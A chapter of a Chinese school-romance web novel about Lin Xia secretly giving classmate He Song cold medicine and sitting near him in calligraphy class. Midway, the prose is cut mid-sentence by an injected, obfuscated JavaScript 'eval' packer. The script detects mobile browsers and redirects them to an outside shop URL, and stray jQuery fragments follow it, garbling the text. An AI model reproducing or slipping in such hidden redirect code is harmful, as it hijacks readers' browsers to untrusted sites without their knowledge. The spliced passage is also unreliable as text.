周五的体育课,一班和八班在同一节。
上完课后,老师依旧留了十五分钟的自由活动时间。喊完解散,大家各奔东西。
林夏和郑思弦找了个阴凉的地方呆着。
“你打算什么时候原谅他?你们已经一周没讲话了。”郑思弦问。
林夏抠着手指,嘟囔:“反正现在还不想原谅,再看吧。”
其实那晚过后,她也没有那么生气了,只是她需要一个台阶,否则轻易原谅后,显得自己很掉价。
“嗳嗳嗳,何颂往我们这边走了,你快看,是不是找你的。”郑思弦眼尖,一下子看到那个鹤立鸡群的人。
林夏头保持不动,眼珠子向右转,果然看到何颂朝自己走来。心跳顿时如鼓声,咚咚咚——他是来问自己了吧,要不要说真实原因。
不知道,好纠结。
向峥抱着篮球跑了过来:“林夏,我们去打篮球吧,上次你赐教后,我回家消化好了,并且专门训练,咱们再来一场吧。”
“ok。”林夏没有犹豫直接同意:“走吧,正好检验你的学习成果。”
已经准备好吃闭门羹的向峥大为震惊:“!!!居然同意了?!”
林夏:“什么意思?”
“没有没有,我们走吧。”
郑思弦:“可是何——”
林夏打掉她指向何颂方向的手:“让他自己琢磨。”
向峥:“可是篮球场就在这里,我们为什么要绕一个圈啊?”
林夏:“别废话,我就喜欢那个场。”
向峥:“哦......”
二人往何颂相反的方向走。
上完体育课,大家一窝蜂跑回教室吹空调。
林夏趴在桌上让脸降温,趴到一半,何颂回到座位,低头,与她对视,林夏迅速把脸转向走廊。
拒绝沟通。
身边的人安静了一会儿,然后拿出书本,林夏听见笔盖打开的声音,她在内心无声翻了个白眼。
写写写,整天就写作业,写不死你!
“咳咳...咳。”
克制的咳嗽声断断续续从右边传来,带着明显的沙哑,落到林夏耳朵里。
生病了吗?
是不是昨晚淋雨的缘故,他会不会也发烧了。
万般滋味翻涌在心口。
咳嗽声越来越大:“咳咳咳...咳。”
林夏强忍把头转回去的冲动,咬牙,吵死了,生病了不会吃药吗!在这里咳什么?
一股热风从右边滚过来,像一把火,点燃林夏心里燥热的草原。
热死了。
他究竟要干嘛?放着好端端的空调不吹,开什么窗???
林夏拳头一捏,直起身转过去,语气算不上友好:“你到底——”
看清画面后,后面的话戛然而止,她此刻的心境就像盛着怒火的气球越飞越高,直到空中“啵”的一声,突然爆炸,火焰因为缺氧而熄灭。
只见两个少年扒着窗沿,向峥要开窗,脸上龇牙咧嘴,难看的要死。何颂也优雅不到哪里去,指尖因为使劲而泛白。
林夏:“......”
向峥看到林夏,脸上露出喜色,手上的力突然一松,窗户“嘭”的一声关上了,何颂扭头,眸子依然黑漆漆的,深不见底,林夏看了他一眼,没说话,打开后门走了出去。
向峥立马迎上来抱怨:“他这人真奇怪,怎么不让我开窗户......”
林夏:“我让他不开的。有事吗?”
“啊是这样,那个....星期天是我生日,你能参加我的生日会吗?到时候你朋友蒋邵、陈筱竹也会去。”
上次音乐节向峥就加到了他们两人的联系方式,在一番诱惑下,他拿一套乐高和相机镜头成功让他们答应帮忙游说林夏。
“哦,不去。”
“啊....?我们到时候会坐游艇出海呢,有米其林大厨来做好吃的菜,你要不要再考虑一下,你不用带礼物,人来了就行。”
走廊上很热,除了上厕所和倒水的没有其他人,因此他们之间的对话轻而易举挤进窗户缝,落入何颂耳中,他写字的力道突然加重,自动屏蔽后面的话。
医务室在哪里来着?林夏想了想,也没得出答案,向峥的声音在耳边自动变成听不清的嗡嗡声,她只听见了要不要考虑几个字。
“我会考虑的,医务室在哪?”
向峥很是高兴,听到后半句,感到莫名其妙。
问医务室干什么?
“在行政楼的右边,你生病了吗?要不要我帮你买药。”
“不用。”林夏丢下这句话,朝医务室飞奔。
距离上课还有一分钟,林夏带着买好的感冒药回到后门,进去前她把这一小盒药藏进校服口袋,用手挡着进去。回到座位,她佯装在书包里翻找东西,神不知鬼不觉把那盒药丢进去。
要死。
她发什么神经买感冒药。
自己是他什么人啊,连朋友都算不上,犯得着她关心吗?
不如留着自己喝。
话虽是这么说,中午教室人都走后,林夏还是把感冒药还有伞放到何颂的桌肚。
郑思弦:“你要不要这么别扭,反正到最后何颂还是知道是你送的,你不如当面给他。”
“不一样,我不好意思当面给。”
郑思弦稀奇:“我认识你这么久,才知道还会有让你不好意思的事,开眼了啊。”
林夏推搡她:“行了,别揶揄我啦,快去吃饭,我要饿死了。”
午餐,林夏刚坐下,蒋邵和陈筱竹双双冒出来,眼巴巴地望着她。
林夏:“…干嘛,你们。”
蒋邵和陈筱竹相视一笑,既然收了向峥的好处就不能不办事。
二人齐声说:“向峥的生日party你去吗?”
林夏:“不去。”
“好嘞。”
林夏狐疑地看了他们一眼:“?”
“你慢慢吃,我们先走了。”
得到回答后,两人干脆地走了。
毕竟向峥只是让他们帮忙劝说,又没说一定要劝说成功
林夏看着他们的背影,一头雾水。
郑思弦开口解释:“向峥昨天也找我了,问我去不去他的生日会,我就纳闷我跟他也不熟啊,怎么就问到我头上了呢,然后我就问他,你猜他怎么说的。”
“怎么说?”
“人家醉翁之意不在酒,其实是想让你去生日会,所以我看他俩绝对是被向峥收买了,不知道给了他们什么好处。”
郑思弦手肘支在餐桌上,摇晃筷子:“还是我够义气对吧。”
“是啦是啦,你最好!”林夏双手探出去,揉她的脸。
午休结束后,林夏来教室来得比较早,她回座位时,没看见何颂。
但陆陆续续有人进教室,谁也不知道下一个进教室的是不是他。林夏扫了何颂抽屉一眼,感冒药和黑色的伞安安静静躺在里面。
突然感觉很害羞是怎么回事。
林夏有一种把药拿回来的冲动,想了想,手刚要探出去,往前门看,发现何颂离门只有几米,她唰的把手收回,拿出语文书佯装预习。
然后,她听见椅子被拉开的声音,余光看见何颂坐了下来,手伸进抽屉,被那盒药挡住,他半弯腰往里面看。
啊啊啊啊啊啊啊,他发现了,好尴尬好尴尬。林夏在心里狂叫,把头转过去,右手立起来摸太阳穴,盯着课本,一个字也看不进去。
何颂轻轻笑了,很轻,像羽毛在挠林夏的耳朵,痒痒的。
少年拿着感冒药偏头,最先看见的是林夏猪肝色的耳朵。
“送我药干什么?”
林夏假装没听见,翻了一页语文书,手臂被戳了戳,她也假装没感觉。
其实维持这个姿势有点儿酸了,但为了面子,她忍。
身边人没了动静,正当林夏准备微微活动时,头顶覆来一片阴影,她下意识抬头,毫无征兆直直撞入何颂深黑的眸,呼吸骤然顿住。
何颂蹲了下来,下巴搁在课桌上,林夏目光随着他的动作下移,头低下来。
脸近在咫尺,连上面的小绒毛都能看见,这是林夏第一次近距离看他。
何颂的眼睛狭长,眼尾微微上翘,安静地看着自己,漆黑的瞳孔映着自己,林夏心跳漏了一拍。
他眸光微动,眼角弯弯,轻声说:“谢谢。”
林夏呆在了原地,半响才找回声音:“......哦。”
谢谢就谢谢,专门跑到这里来说干什么,还是这种姿势。。
-
整个下午,那句谢谢一直萦绕在耳畔,林夏整个人处于一种奇怪的状态中,也不知道何颂是不是发现了什么,二人心照不宣的没有和对方说话。
最后一节课铃声响起,林夏抓起书包从后门溜走,生怕被何颂喊住,她一路狂奔,来到书法教室时,没有人,于是她挑了一个不起眼的角落坐下。
不一会儿,陈筱竹来了,林夏招呼她跟自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763117|208267||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
己一起坐。
陈筱竹:“今天来这么早?”
“对....老师放的早。”
两人东扯扯西扯扯,不一会,教室坐满人了。
陈筱竹往前看了看,翻了个白眼;“我靠,她还真贴上去了。”
林夏好奇,顺着她的目光看去:“谁?”
“你知道沈静吗?上次我俩在寝室吵架闹得整栋宿舍都知道那事你应该听过吧。”
林夏点头。
“她是何颂的一级梦女,暗恋本身没什么问题,关键是她特恶心,偷拍人家照片打印下来,中午在那里不睡翻照片,我被吵得睡不着,起身一看,诶,你猜怎么着?她在亲照片!我当时就被恶心到了。”
林夏惊讶:“不是说你因为她学习声音太大才吵起来的吗?”
“哎呦喂,那都是给她留面子,中午不睡亲人家照片,说出去不被人嘲讽死。”
“喏,你看。这不就黏人家身上去了?”陈筱竹指了指右前方的方向。
何颂坐姿端正,倒是旁边的沈静,恨不得贴人家身上,连带着何颂的身体都向旁边歪。
“报兴趣班的时候就有人传,说何颂报的是书法,沈静当即把篮球社改成了书法社,也是为了他。”
“我和沈静原先都是一中的,她暗恋何颂那可是出了名的,有一个专门的笔记本用来写小黄文,主角是她和何颂,”说到'小黄文'二字时,陈筱竹刻意压低了声音,“你知道是怎么被爆出来的吗?她上课写,被历史老师发现了!老师看了之后骂了句成何体统,然后收缴了,后来有人不小心在办公室看到那个笔记本的内容,简直震惊三观,一传十十传百,全校都知道了。”
“自然传到了何颂的耳朵里。”
陈筱竹越说越起劲:“你说正常人不应该害羞地要死,她倒好,一不做二不休,直接明恋了,一下课跑到他们班教室门口看何颂,在食堂也缠着人家,我看何颂就是被她这种人搞出阴影来的。”
林夏不由得想起开学那天,在何颂看来她也是没有理由地缠上自己,难怪没给自己好脸色,原来情有可原。
“不知道她是真心悔改了还是怎么的,现在没有以前那么猖狂了。”陈筱竹一副一言难尽的表情,收回辣眼的目光。
“所以我上次专门抢在她前面坐在何颂身边就是为了帮你占位置!免得被人捷足先登了,”陈筱竹想起来什么,继续说,“所以当时有人说你和何颂是情侣时,我真替何颂松了一口气,还好没有和那个变态在一起。”
林夏思忱,照这么说的话,那天的情书应该也是沈静送的?也难怪何颂没有反应。
被'狂热'到这种地步的人追求,换谁都会很困扰吧......
林夏心中五味杂陈,再次抬头望过去,发现何颂起身了,朝自己这边走过来。
陈筱竹也注意到了:“卧槽,不会要和我换座位吧,我才不想坐那个变态旁边。”
“我也不知道啊啊啊啊啊啊。”
沈静扭头,视线一直追随何颂,林夏悄悄看过去,吓了一跳,那眼神感觉谁要是和何颂坐一起,谁就会被她刀死。
何颂走在林夏前一个桌子停下:“同学,能和你换座吗?”
“哦哦,好的。”男生起身离开了。
果不其然,沈静看向何颂身边的人,好在那人也是男生,她才不服气地收回目光。
看来是真的很喜欢何颂,林夏心想。
陈筱竹没忍住笑出声:“哈哈哈哈哈哈,人家根本不吃你这套。诶,你别太用力,宣纸都快被戳破了。”
林夏才回神,低头看桌上的宣纸:“噢,刚才走神了。”
后面她处于一个心不在焉的状态,时不时抬头看前面人端正挺拔的背影,写的字也歪七扭八。林夏一手托腮,勉强把发散的思绪拉回,可前面人的一举一动都能轻而易举引起她的注意。
比如现在,何颂动作幅度有点大,紧接着,一个白净的手出现在视野里。
何颂脊背绷得直,右手正拿着毛笔写字,左手背着往上探,指尖拢着突然一松,一张叠得方正四角平整的小纸条落到桌上,稳稳当当又静悄悄。
何颂指尖轻轻敲了一下她的桌面,发出极轻的声音。
林夏下意识环顾四周一圈,还好没人发现。很快,她反应过来,又没干什么不可告人的事,紧张什么?
她迅速把纸条攥进手里,捏着没有打开看,而是装进了校服口袋,没过几分钟,似乎觉得不保险,她把纸条转移到书包有拉链的小隔袋里。